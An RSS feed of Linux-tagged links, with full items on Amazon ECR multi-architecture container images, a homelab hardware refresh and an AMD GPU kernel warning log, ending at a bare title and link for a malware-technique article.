<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss.xsl" media="all"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>Roastidio.us Tagged with linux</title>
<link>https://roastidio.us/tag/2428</link>
<atom:link href="https://roastidio.us/tagged_with/linux" rel="self" type="application/rss+xml"></atom:link>
<description>Roastidio.us Tagged with linux</description>
<item>
<title>Introducing multi-architecture container images for Amazon ECR | Containers</title>
<link>https://aws.amazon.com/blogs/containers/introducing-multi-architecture-container-images-for-amazon-ecr/</link>
<enclosure type="image/jpeg" length="0" url="https://d2908q01vomqb2.cloudfront.net/fe2ef495a1152561572949784c16bf23abb28057/2020/04/28/manifest_list.png"></enclosure>
<guid isPermaLink="false">6koYK8YkdpeBd-0GR99PP7DXMPNf-S5FpPm7qw==</guid>
<pubDate>Thu, 27 Aug 2026 05:46:04 +0000</pubDate>
<description>Containers are a de facto standard in cloud application development and deployment. Publishing software in container images provides developers an integrated packaging solution, bundling software and all required dependencies into a portable image format. This image can then be run anywhere, abstracting away the infrastructure-specific aspects of deployment. However, the promise of running anywhere only […]</description>
<content:encoded>&lt;p&gt;Containers are a de facto standard in cloud application development and deployment. Publishing software in container images provides developers an integrated packaging solution, bundling software and all required dependencies into a portable image format. This image can then be run anywhere, abstracting away the infrastructure-specific aspects of deployment.&lt;/p&gt;&lt;p&gt;However, the promise of running anywhere only goes so far. Some applications have specific host platform or operating system requirements, such as supporting both Linux and Windows. Compute architecture is another variable, especially with the compelling price-performance ratio of &lt;a href=&quot;https://aws.amazon.com/ec2/graviton/&quot;&gt;AWS Graviton&lt;/a&gt; ARM-based instances running in EC2. Before today, such container images had to be published and deployed to Amazon ECR using architecture-specific naming conventions, complicating some aspects of the image lifecycle.&lt;/p&gt;&lt;p&gt;Today we are announcing multi-architecture container images for Amazon ECR. This is a much-anticipated feature that makes it simpler to deploy container images for different architectures and operating systems from the same image repository.&lt;/p&gt;&lt;h3&gt;Container images under the hood&lt;/h3&gt;&lt;p&gt;Amazon ECR is a fully managed container registry that makes it easy for developers to store, manage, and deploy container images. It is highly available, scalable, and simple to use. Before discussing multi-architecture images in detail, let’s first cover some underlying aspects of how container images work.&lt;/p&gt;&lt;p&gt;The term ‘container’ refers to a set of operating system components, computing resources, and configuration to provide an isolated compute environment for processes to run within. One of the resources specified for a container is its file system. When we refer to a container image, it’s this file system in a portable format along with container configuration and other metadata that we refer to. Popular container development tools like Docker allow developers to create container images that contain software or a service and all of the required dependencies, which is what makes containers such a portable option.&lt;/p&gt;&lt;p&gt;Container images consist of two main parts, layers and a manifest. Each container image has one or more layers of file system content. The manifest specifies the layers that make up the image as well as its runtime characteristics and configuration. The container image format for Docker is defined by the &lt;a href=&quot;https://github.com/moby/moby/blob/master/image/spec/v1.2.md&quot;&gt;Docker Image Specification&lt;/a&gt; and the related &lt;a href=&quot;https://github.com/docker/distribution/blob/master/docs/spec/manifest-v2-2.md&quot;&gt;Image Manifest Specification&lt;/a&gt;. The Open Containers Initiative went on to define the runtime-agnostic &lt;a href=&quot;https://github.com/opencontainers/image-spec/blob/master/spec.md&quot;&gt;OCI Image Specification&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Image registries like Amazon ECR store images which adhere to these specifications in repositories, and each specific image is referenced by one or more tags. Images are typically tagged in order to specify a version of the software or service when pushing and pulling the image. Putting this all together, when you first pull a container image for use in Docker or another container runtime, two things happen. First the manifest is pulled locally based upon the specified image repository and tag, and then the manifest is used to assemble the container file system from the layers specified.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://d2908q01vomqb2.cloudfront.net/fe2ef495a1152561572949784c16bf23abb28057/2020/04/28/image_manifest.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;For a concrete example, you can use the &lt;code&gt;docker inspect &amp;lt;image&amp;gt;&lt;/code&gt; command to see the manifest of any local image in your Docker development environment. As you can see, platform characteristics such as architecture and operating system are clearly specified by the image manifest. So then, how do you easily deploy containers across different operating systems and platform architectures?&lt;/p&gt;&lt;p&gt;Before today, when publishing images to a repository in Amazon ECR these characteristics had to be specified in the image tag. Alternatively, you could store platform-specific images built from the same source in their own image repositories. The correct version of the image for your compute environment would then need to be pulled by explicit reference, for example &lt;code&gt;{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/my-image-linux-arm64:2.7&lt;/code&gt; rather than &lt;code&gt;{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/my-image:2.7&lt;/code&gt;. This is inconvenient, and requires OS- or architecture-specific references throughout the entire development and deployment lifecycle of your image.&lt;/p&gt;&lt;h3&gt;Introducing multi-architecture images in Amazon ECR&lt;/h3&gt;&lt;p&gt;With multi-architecture image support in Amazon ECR, it’s now easy for you to build different images to support multiple architectures or operating systems from the same source and refer to them all by the same abstract manifest name. This is achieved through support of an image specification component known as a manifest list, or image index.&lt;/p&gt;&lt;p&gt;Manifest list support has been present in the Docker Image Manifest Specification since V2 image manifest (schema version 2). It is also included in the Open Containers Initiative Image Specification v1, though it is referred to there as an image index. A manifest list (or image index) allows for the nested inclusion of other image manifests, where each included image is specified by architecture, operating system and other platform attributes. This makes it possible to refer to an image repository that includes platform-specific images by a more abstract name, for example &lt;code&gt;{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/my-image:2.7&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://d2908q01vomqb2.cloudfront.net/fe2ef495a1152561572949784c16bf23abb28057/2020/04/28/manifest_list.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The container engine responsible for creating the container pulls from the registry the correct layers for the compute environment where it’s running based upon the values in the manifest list. With a small number of additional steps during your image builds, your clients can pull an image by version tag and get the correct image for the platform they are running on. This can simplify both your Amazon ECR repository management as well as your CI/CD pipelines, as mentioned above. These additional steps are detailed below.&lt;/p&gt;&lt;h3&gt;Working with multi-architecture images in Amazon ECR&lt;/h3&gt;&lt;p&gt;In this walkthrough, you will create two container images, one for &lt;code&gt;x86_64&lt;/code&gt; (64-bit x86-based systems) and one for &lt;code&gt;aarch64&lt;/code&gt; (64-bit ARM-based systems). You’ll then push these images to a repository in Amazon ECR and then create a manifest list referring to each by their architectures. Finally, you’ll pull an image by manifest list name without needing to specify the correct architecture.&lt;/p&gt;&lt;p&gt;To get started, you need:&lt;/p&gt;&lt;ul&gt;
        &lt;li&gt;An AWS account and the &lt;code&gt;aws&lt;/code&gt; CLI installed and configured for use in your development environment&lt;/li&gt;
        &lt;li&gt;A repository in Amazon ECR named &lt;code&gt;hello&lt;/code&gt; (or your own repo name). For information about creating a repository, see the &lt;a href=&quot;https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-create.html&quot;&gt;Amazon ECR documentation&lt;/a&gt;.&lt;/li&gt;
        &lt;li&gt;A Docker development environment and familiarity with using Docker&lt;/li&gt;
        &lt;li&gt;Two EC2 instances, one &lt;code&gt;x86_64&lt;/code&gt; and the other &lt;code&gt;aarch64&lt;/code&gt;. I’m using T3 and A1 instances, respectively. For more information on launching instances, see the &lt;a href=&quot;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance&quot;&gt;Amazon EC2 documentation&lt;/a&gt;.&lt;/li&gt;
       &lt;/ul&gt;&lt;p&gt;To make cutting and pasting the following commands easier, set the following environment variables in your shell to refer to your numeric AWS Account ID and the AWS Region where your registry endpoint is located.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ AWS_ACCOUNT_ID=aws-account-id
$ AWS_REGION=aws-region&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, you will need to build images for two different architectures in your Docker development environment. You can use your own, or clone this handy &lt;a href=&quot;https://github.com/jlbutler/yahw&quot;&gt;hello world app&lt;/a&gt; for the purposes of this walkthrough.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ git clone https://github.com/jlbutler/yahw.git &amp;amp;&amp;amp; cd yahw
$ make all
$ docker images hello
REPOSITORY TAG   IMAGE ID       CREATED         SIZE
hello      arm64 8d2063eddc5e   17 seconds ago  7.19MB
hello      amd64 cbfda9e83a41   27 seconds ago  7.59MB&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that the walkthrough images use architecture-specific tags. This is for the purpose of the demonstration only, it’s best to tag your images with an explicit version or another meaningful reference.&lt;/p&gt;&lt;p&gt;Now that you have your images for each platform, tag them to refer to your repository in Amazon ECR. Log your Docker client into ECR as needed.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ aws ecr get-login-password --region ${AWS_REGION} | \ 
    docker login --username AWS --password-stdin \ 
    ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello 
  Login Succeeded&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ for i in amd64 arm64; do
for&amp;gt; docker tag hello:${i} ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:${i}
for&amp;gt; done&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With the images tagged with your repository path, they are ready to push to Amazon ECR.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ docker images | grep hello
REPOSITORY                                                    TAG    IMAGE ID      CREATED        SIZE
{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello     arm64  8d2063eddc5e  4 minutes ago  7.19MB
hello                                                         arm64  8d2063eddc5e  4 minutes ago  7.19MB
{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello     amd64  cbfda9e83a41  4 minutes ago  7.59MB
hello                                                         amd64  cbfda9e83a41  4 minutes ago  7.59MB&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ for i in amd64 arm64; do
for&amp;gt; docker push ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:${i}
for&amp;gt; done&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can verify that your images pushed with the &lt;code&gt;aws ecr&lt;/code&gt; command.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ aws ecr --region ${AWS_REGION} describe-images --repository-name hello
{
    &amp;quot;imageDetails&amp;quot;: [
        {
            &amp;quot;registryId&amp;quot;: &amp;quot;aws-account-id&amp;quot;,
            &amp;quot;repositoryName&amp;quot;: &amp;quot;hello&amp;quot;,
            &amp;quot;imageDigest&amp;quot;:&amp;quot;sha256:b50bd7f7..5a0dc770&amp;quot;,
            &amp;quot;imageTags&amp;quot;: [
                &amp;quot;amd64&amp;quot;
            ],
            &amp;quot;imageSizeInBytes&amp;quot;: 3954211,
            &amp;quot;imagePushedAt&amp;quot;: &amp;quot;2020-04-24T17:24:11-04:00&amp;quot;
        },
        {
            &amp;quot;registryId&amp;quot;: &amp;quot;aws-account-id&amp;quot;,
            &amp;quot;repositoryName&amp;quot;: &amp;quot;hello&amp;quot;,
            &amp;quot;imageDigest&amp;quot;: &amp;quot;sha256:2f333a8b..27fc2172&amp;quot;,
            &amp;quot;imageTags&amp;quot;: [
                &amp;quot;arm64&amp;quot;
            ],
            &amp;quot;imageSizeInBytes&amp;quot;: 3702268,
            &amp;quot;imagePushedAt&amp;quot;: &amp;quot;2020-04-24T17:24:25-04:00&amp;quot;
        }
    ]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At this point, you could pull these images by their architecture-specific tags, but let’s simplify by creating a manifest list and pushing it to Amazon ECR.&lt;/p&gt;&lt;p&gt;In your Docker development environment, create a new manifest list for this image set with the &lt;code&gt;docker manifest create&lt;/code&gt; command. If you do not have experimental features enabled in your client, you need to do this first. For more information, see the &lt;a href=&quot;https://docs.docker.com/engine/reference/commandline/cli/#experimental-features&quot;&gt;Docker documentation&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ docker manifest create ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello \
    ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:amd64  \
    ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:arm64 
Created manifest list {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello:latest&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The manifest is using the default &lt;code&gt;latest&lt;/code&gt; tag here, but again you should use something that more explicitly references this version of the container for production purposes.&lt;/p&gt;&lt;p&gt;One little bit of housekeeping we need to do is to annotate the manifest so that the manifest list correctly identifies which image is for which architecture. An artifact of the Docker build command is that it sets the architecture to the build environment’s architecture, even if cross-compiling for another architecture as is the case in our example. But, there is a simple remedy for this via the &lt;code&gt;docker manifest annotate&lt;/code&gt; command.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ docker manifest annotate --arch arm64 ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello \
      ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:arm64&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Before you push it, you can inspect your newly-minted manifest and note that it has a &lt;code&gt;manifests&lt;/code&gt; list with two distinct image references, each with digests mapping to your images and with their appropriate &lt;code&gt;platform.architecture&lt;/code&gt; values.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ docker manifest inspect ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello
{
    &amp;quot;schemaVersion&amp;quot;: 2,
    &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.distribution.manifest.list.v2+json&amp;quot;,
    &amp;quot;manifests&amp;quot;: [
        {
            &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.distribution.manifest.v2+json&amp;quot;,
            &amp;quot;size&amp;quot;: 528,
            &amp;quot;digest&amp;quot;: &amp;quot;sha256:b50bd7f7..5a0dc770&amp;quot;,
            &amp;quot;platform&amp;quot;: {
                &amp;quot;architecture&amp;quot;: &amp;quot;amd64&amp;quot;,
                &amp;quot;os&amp;quot;: &amp;quot;linux&amp;quot;
            }
        },
        {
            &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.distribution.manifest.v2+json&amp;quot;,
            &amp;quot;size&amp;quot;: 528,
            &amp;quot;digest&amp;quot;: &amp;quot;sha256:2f333a8b..27fc2172&amp;quot;,
            &amp;quot;platform&amp;quot;: {
                &amp;quot;architecture&amp;quot;: &amp;quot;arm64&amp;quot;,
                &amp;quot;os&amp;quot;: &amp;quot;linux&amp;quot;
            }
        }
    ]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After confirming your manifest is ready for use, push it to your repository in Amazon ECR as you would any image.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ docker manifest push ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello
sha256:bd7a61a6ea3c366c0e58d70233900f0c761d6051da0ad8cbaa19011f873c37bc&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With that final step, your images are ready to pull by referring to the higher-level manifest image tag. Head over to your Graviton ARM-based EC2 instance, log your Docker client into Amazon ECR if needed, and pull the image by its &lt;code&gt;latest&lt;/code&gt; tag. Note you’ll need to set your &lt;code&gt;AWS_ACCOUNT_ID&lt;/code&gt; and &lt;code&gt;AWS_REGION&lt;/code&gt; accordingly.&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ docker run -d -p 8080:8080 ${AWS_ACCOUNT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/hello:latest
Unable to find image &amp;#39;{aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello:latest&amp;#39; locally
latest: Pulling from hello
2f12463f1928: Pull complete
Digest: sha256:bd7a61a6ea3c366c0e58d70233900f0c761d6051da0ad8cbaa19011f873c37bc
Status: Downloaded newer image for {aws-account-id}.dkr.ecr.{aws-region}.amazonaws.com/hello:latest
fd4c0ae177dad82315cbcc7f6acb8fdcb733318c7f2e1bb832693de896e3527a&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;lang-bash&quot;&gt;$ curl localhost:8080/hello
{&amp;quot;arch&amp;quot;:&amp;quot;aarch64&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;Hello, there!&amp;quot;,&amp;quot;os&amp;quot;:&amp;quot;Linux 4.14.173-137.229.amzn2.aarch64&amp;quot;}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Next steps&lt;/h3&gt;&lt;p&gt;From the above walkthrough, you can see that adding a few simple steps to your container build pipelines means that you no longer need to use OS- and architecture-specific image repositories or tags to ensure that your containers are deployed to their correct runtime environment. This simplifies your container pipelines considerably, enabling simpler image naming conventions for your published container images.&lt;/p&gt;&lt;p&gt;When working with interpreted languages such as Python, it is likely that your image builds for different platforms are fairly transparent, simply referencing the correct base images in your Dockerfiles. Keep in mind there may be some caveats, depending upon your use of system-level primitives which may be OS-specific.&lt;/p&gt;&lt;p&gt;For container builds with compiled languages such as C++, there are OS- or architecture-specific build steps. Some languages provide cross-compiling features that make this process simpler, as in the example’s use of Go. This allows you to build for various operating systems and architectures all from one system. If your development environment is Docker Desktop, you may also consider the &lt;code&gt;docker buildx&lt;/code&gt; command, which simplifies multi-architecture builds by using QEMU’s emulation features during build.&lt;/p&gt;&lt;p&gt;Regardless of programming language, you can pass any required platform details into a build using the &lt;code&gt;—build-arg&lt;/code&gt; option of the &lt;code&gt;docker build&lt;/code&gt; command combined with the Dockerfile &lt;code&gt;ARG&lt;/code&gt; directive. Or, you can use platform-specific Dockerfiles and explicitly reference them via the &lt;code&gt;—file&lt;/code&gt; option of &lt;code&gt;docker build&lt;/code&gt;. For more information on using these options, see the &lt;a href=&quot;https://docs.docker.com/engine/reference/commandline/build/&quot;&gt;Docker build documentation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As mentioned above, images should be tagged based upon their version or another specific identifier, such as git commit ID. With multi-architecture image support, your builds and deployments can refer to a single image name and a version-specific tag, no longer needing to refer to operating system, architecture, or other platform details.&lt;/p&gt;&lt;p&gt;Let us know what you think of this new feature, and check out more upcoming features on the &lt;a href=&quot;https://github.com/aws/containers-roadmap/&quot;&gt;AWS containers roadmap&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Refreshing my homelab</title>
<link>https://baptiste-wicht.com/posts/2026/08/refreshing-my-homelab.html</link>
<guid isPermaLink="false">HPmNSUNNs-9WHvDY7SWB7cDzV3O2-vdzGzlIuw==</guid>
<pubDate>Thu, 27 Aug 2026 02:37:37 +0000</pubDate>
<description>Recently, I have bene doing some upgrades and refresh to my homelab rack. Some of these updates are just getting started, but several of these are completed already. Snce we moved to the new house, we have 10G internet. So, I upgraded the networking on the rack to be 10G network. This means, two 10G switches and two 10G NIC (Intel) on the firewall server. I also installed one 10G NIC on my desktop computer to get 10G internet. I plan to upgrade the other two servers to 10G ethernet in the nex...</description>
<content:encoded>&lt;p&gt;Recently, I have bene doing some upgrades and refresh to my homelab rack. Some of these updates are just getting started, but several of these are completed already.&lt;/p&gt;&lt;p&gt;Snce we moved to the new house, we have 10G internet. So, I upgraded the networking on the rack to be 10G network. This means, two 10G switches and two 10G NIC (Intel) on the firewall server. I also installed one 10G NIC on my desktop computer to get 10G internet. I plan to upgrade the other two servers to 10G ethernet in the next few months. Obviously, I do not really need 10G internet on my computer, but it was fun to achieve that.&lt;/p&gt;&lt;p&gt;I have also installed a new UPS in the rack. I went with Powerwalker this time because it much more affordable than APC. The reviews on that UPS looked good, so I am trying it. So far, it has been really good. It can keep my homelab running for about 45 minutes. This was necessary multiple times during the installation of our solar panels.&lt;/p&gt;&lt;p&gt;After many years of service, the hardware in some of the servers needed upgrading. I had some issues on the hardware of the firewall and the main server did not have enough RAM to handle all the services. I was running Openproject and InfluxDB (among others) on the same machine and this did not work well with 4Go of RAM. So, I refreshed the entire hardware and also changed the case. The cases from Norco and Ri-vier were quite nice but also very short so not great for airflow and for extensibility. I switched to Lanberg cases for the servers that were upgraded.&lt;/p&gt;&lt;p&gt;Talking about servers, I also added a new server for Home Assistant. I got rid of Samsung Smarthings and Hue and replaced everything with Home Assistant. I can now control many things in the house and I have many more plans. I am really impressed by this software, it&amp;#39;s nothing short of amazing.&lt;/p&gt;&lt;p&gt;I also changed my KVM switch. I had an hardware KVM switch with a hardware monitor console. But the keyboard was falling into pieces and the connectivity was ancient (VGA). So I switched to multiple JetKVM. I am very happy about them. They are much easier to setup than piKVM and and they are cheaper. I also ordered a 3D printed rack mount on ebay.&lt;/p&gt;&lt;p&gt;The next thing I want to refresh is the NAS. The hardware is also in need of a refresh because it still has really old hardware (10+ years old at this point). However, I also want to switch the RAID to ZFS (mostly to learn) instead of LVM + mdadm. But this means either getting rid of a lot of data or replacing all disks. And disks are currently insanely expensive.&lt;/p&gt;&lt;p&gt;As for software, all servers are still running Gentoo. I am still quite happy about it, even though I would sometimes prefer faster upgrades.&lt;/p&gt;&lt;p&gt;Here is a picture of the rack in its current state:&lt;/p&gt;&lt;img src=&quot;https://baptiste-wicht.com/images/homelab_refresh.jpg&quot; alt=&quot;/images/homelab_refresh.jpg&quot; title=&quot;&quot;/&gt;&lt;p&gt;What about you? Do you have a homelab?&lt;/p&gt;</content:encoded>
</item>
<item>
<title>AMD Video Drivers, LLMs, and Debian Kernels – etbe – Russell Coker</title>
<link>https://etbe.coker.com.au/2026/08/15/amd-video-llms-debian-kernels/</link>
<enclosure type="image/jpeg" length="0" url="https://s0.wp.com/i/blank.jpg"></enclosure>
<guid isPermaLink="false">w8RvjEinjkMruzRlZvEjWvwHGdkphhvTdjxTXw==</guid>
<pubDate>Wed, 26 Aug 2026 23:37:10 +0000</pubDate>
<description>The AMD GPU Problem For a while I’ve been having issues with AMD GPUs, video locking up periodically. I blogged about this late last year but I first had noticeable problems early last year […</description>
<content:encoded>&lt;pre&gt;2026-08-04T01:13:37.505839+10:00 xev kernel: ------------[ cut here ]------------ 
2026-08-04T01:13:37.505859+10:00 xev kernel: amdgpu 0000:02:00.0: [drm] drm_WARN_ON_ONCE(cur_vblank != vblank-&amp;gt;last) 
2026-08-04T01:13:37.505862+10:00 xev kernel: WARNING: CPU: 6 PID: 210534 at drivers/gpu/drm/drm_vblank.c:362 drm_update_vblank_count+0x2f1/0x3c0 [drm] 
2026-08-04T01:13:37.505866+10:00 xev kernel: snd_intel_dspcfg wmi_bmof rc_core snd_intel_sdw_acpi drm_ttm_helper uas realtek snd_usbmidi_lib snd_hda_codec ttm mdio_devres snd_hda_core snd_seq_midi drm_kms_helper usb_storage mc snd_hwdep libphy snd_seq_midi_event intel_uncore snd_pcm_oss i2c_algo_bit serio_raw snd_rawmidi pcspkr snd_mixer_oss i2c_i801 video snd_seq snd_pcm i2c_smbus lpc_ich snd_seq_device mei_me e1000e snd_timer mei snd tpm_infineon soundcore joydev bnx2 wmi button nfsd auth_rpcgss nfs_acl lockd grace sunrpc coretemp br_netfilter bridge stp llc sg ghash_clmulni_intel loop msr i2c_dev drm efi_pstore configfs nfnetlink ip_tables x_tables autofs4 btrfs blake2b_generic dm_crypt dm_mod raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx libcrc32c xor raid6_pq raid1 raid0 md_mod ext4 crc16 mbcache jbd2 crc32c_generic virtio_blk evdev hid_generic usbhid hid sd_mod xhci_pci xhci_hcd ahci ehci_pci ehci_hcd libahci crc32c_intel libata usbcore aesni_intel nvme psmouse scsi_mod gf128mul crypto_simd nvme_core cryptd 
2026-08-04T01:13:37.505879+10:00 xev kernel: nvme_auth scsi_common usb_common efivarfs 
2026-08-04T01:13:37.505880+10:00 xev kernel: CPU: 6 UID: 1008 PID: 210534 Comm: sshd-session Tainted: G D 6.12.88+deb13-amd64 #1 Debian 6.12.88-1 
2026-08-04T01:13:37.505881+10:00 xev kernel: Tainted: [D]=DIE 
2026-08-04T01:13:37.505883+10:00 xev kernel: Hardware name: Hewlett-Packard HP Z640 Workstation/212A, BIOS M60 v02.61 03/23/2023 
2026-08-04T01:13:37.505884+10:00 xev kernel: RIP: 0010:drm_update_vblank_count+0x2f1/0x3c0 [drm] 
2026-08-04T01:13:37.505885+10:00 xev kernel: Code: 48 8b 5f 50 48 85 db 75 03 48 8b 1f e8 68 eb 2b cf 48 c7 c1 70 3e cb c0 48 89 da 48 c7 c7 f9 6f cb c0 48 89 c6 e8 af d7 a6 ce &amp;lt;0f&amp;gt; 0b e9 4b fe ff ff 48 8b 4c 24 18 e9 31 fe ff ff 31 f6 48 85 db 
2026-08-04T01:13:37.505887+10:00 xev kernel: RSP: 0000:ffffd3cc8681fca0 EFLAGS: 00010082 
2026-08-04T01:13:37.505888+10:00 xev kernel: RAX: 0000000000000000 RBX: ffff8c6b42b13710 RCX: 0000000000000027 
2026-08-04T01:13:37.505889+10:00 xev kernel: RDX: ffff8c89ef521788 RSI: 0000000000000001 RDI: ffff8c89ef521780 
2026-08-04T01:13:37.505890+10:00 xev kernel: RBP: 0000000000000000 R08: 0000000000000000 R09: ffffd3cc8681fb20 
2026-08-04T01:13:37.505891+10:00 xev kernel: R10: ffff8c8a6fef3628 R11: 0000000000000003 R12: 0000000000000000 
2026-08-04T01:13:37.505892+10:00 xev kernel: R13: ffff8c6c07853828 R14: 0000000000000003 R15: 0000000000000000 
2026-08-04T01:13:37.505893+10:00 xev kernel: FS: 00007ffaf2fd5880(0000) GS:ffff8c89ef500000(0000) knlGS:0000000000000000 
2026-08-04T01:13:37.505895+10:00 xev kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 
2026-08-04T01:13:37.505896+10:00 xev kernel: CR2: 00007fb1718c8000 CR3: 000000074521a004 CR4: 00000000003706f0 
2026-08-04T01:13:37.505897+10:00 xev kernel: Call Trace: 
2026-08-04T01:13:37.505898+10:00 xev kernel: &lt;task&gt; 
2026-08-04T01:13:37.505899+10:00 xev kernel: drm_crtc_accurate_vblank_count+0x41/0xc0 [drm] 
2026-08-04T01:13:37.505900+10:00 xev kernel: dm_pflip_high_irq+0x155/0x330 [amdgpu] 
2026-08-04T01:13:37.505901+10:00 xev kernel: amdgpu_dm_irq_handler+0x85/0x1f0 [amdgpu] 
2026-08-04T01:13:37.505902+10:00 xev kernel: amdgpu_irq_dispatch+0xd2/0x230 [amdgpu] 
2026-08-04T01:13:37.505903+10:00 xev kernel: amdgpu_ih_process+0x84/0x100 [amdgpu] 
2026-08-04T01:13:37.505904+10:00 xev kernel: amdgpu_irq_handler+0x23/0x60 [amdgpu] 
2026-08-04T01:13:37.505905+10:00 xev kernel: __handle_irq_event_percpu+0x4a/0x190
2026-08-04T01:13:37.505907+10:00 xev kernel: handle_irq_event+0x38/0x80 
2026-08-04T01:13:37.505908+10:00 xev kernel: handle_edge_irq+0x8b/0x230 
2026-08-04T01:13:37.505909+10:00 xev kernel: __common_interrupt+0x45/0xe0 
2026-08-04T01:13:37.505910+10:00 xev kernel: common_interrupt+0x42/0xa0 
2026-08-04T01:13:37.505911+10:00 xev kernel: asm_common_interrupt+0x26/0x40 
2026-08-04T01:13:37.505912+10:00 xev kernel: RIP: 0033:0x7ffaf3c5fd7b 
2026-08-04T01:13:37.505913+10:00 xev kernel: Code: 70 c7 00 66 0f 6e f8 c1 ef 02 66 0f 70 f7 e0 83 c7 01 66 0f ef ff 66 0f fa f2 0f 1f 44 00 00 f3 0f 7e 01 66 0f 6f ce 83 c6 01 &amp;lt;48&amp;gt; 83 e9 08 f2 0f 70 c0 1b 66 0f 6f e0 66 0f 6f e8 66 41 0f f9 c0 
2026-08-04T01:13:37.505915+10:00 xev kernel: RSP: 002b:00007fff86a5e0e0 EFLAGS: 00000202 
2026-08-04T01:13:37.505916+10:00 xev kernel: RAX: 0000000000008000 RBX: 0000562614a04050 RCX: 0000562614982ed8 
2026-08-04T01:13:37.505946+10:00 xev kernel: RDX: 0000000000007fe2 RSI: 0000000000000fad RDI: 0000000000002000 
2026-08-04T01:13:37.505948+10:00 xev kernel: RBP: 0000000000000000 R08: 000056261498ac40 R09: 0000000000008000 
2026-08-04T01:13:37.505949+10:00 xev kernel: R10: 0000000000000066 R11: 0000000000007fe1 R12: 0000000000007efa
2026-08-04T01:13:37.505950+10:00 xev kernel: R13: 0000000000008000 R14: 0000000000008000 R15: 000000000000ffe0 
2026-08-04T01:13:37.505951+10:00 xev kernel: &lt;/task&gt; 
2026-08-04T01:13:37.505953+10:00 xev kernel: ---[ end trace 0000000000000000 ]--- 
2026-08-04T01:55:40.844110+10:00 xev kernel: pcieport 0000:00:03.3: AER: Multiple Correctable error message received from 0000:00:03.3 
2026-08-04T01:55:40.844130+10:00 xev kernel: pcieport 0000:00:03.3: PCIe Bus Error: severity=Correctable, type=Data Link Layer, (Receiver ID) 
2026-08-04T01:55:40.844132+10:00 xev kernel: pcieport 0000:00:03.3: device [8086:6f0b] error status/mask=00000040/00002000 
2026-08-04T01:55:40.844134+10:00 xev kernel: pcieport 0000:00:03.3: [ 6] BadTLP&lt;/pre&gt;</content:encoded>
</item>
<item>
<title>Malware shellcode delivery via signal - part 4. Embedding Bell 202 FSK into MP3 and recovering the symbol clock. Python and C example</title>
<link>https://cocomelonc.github.io/malware/2026/08/01/malware-tricks-62.html</link>
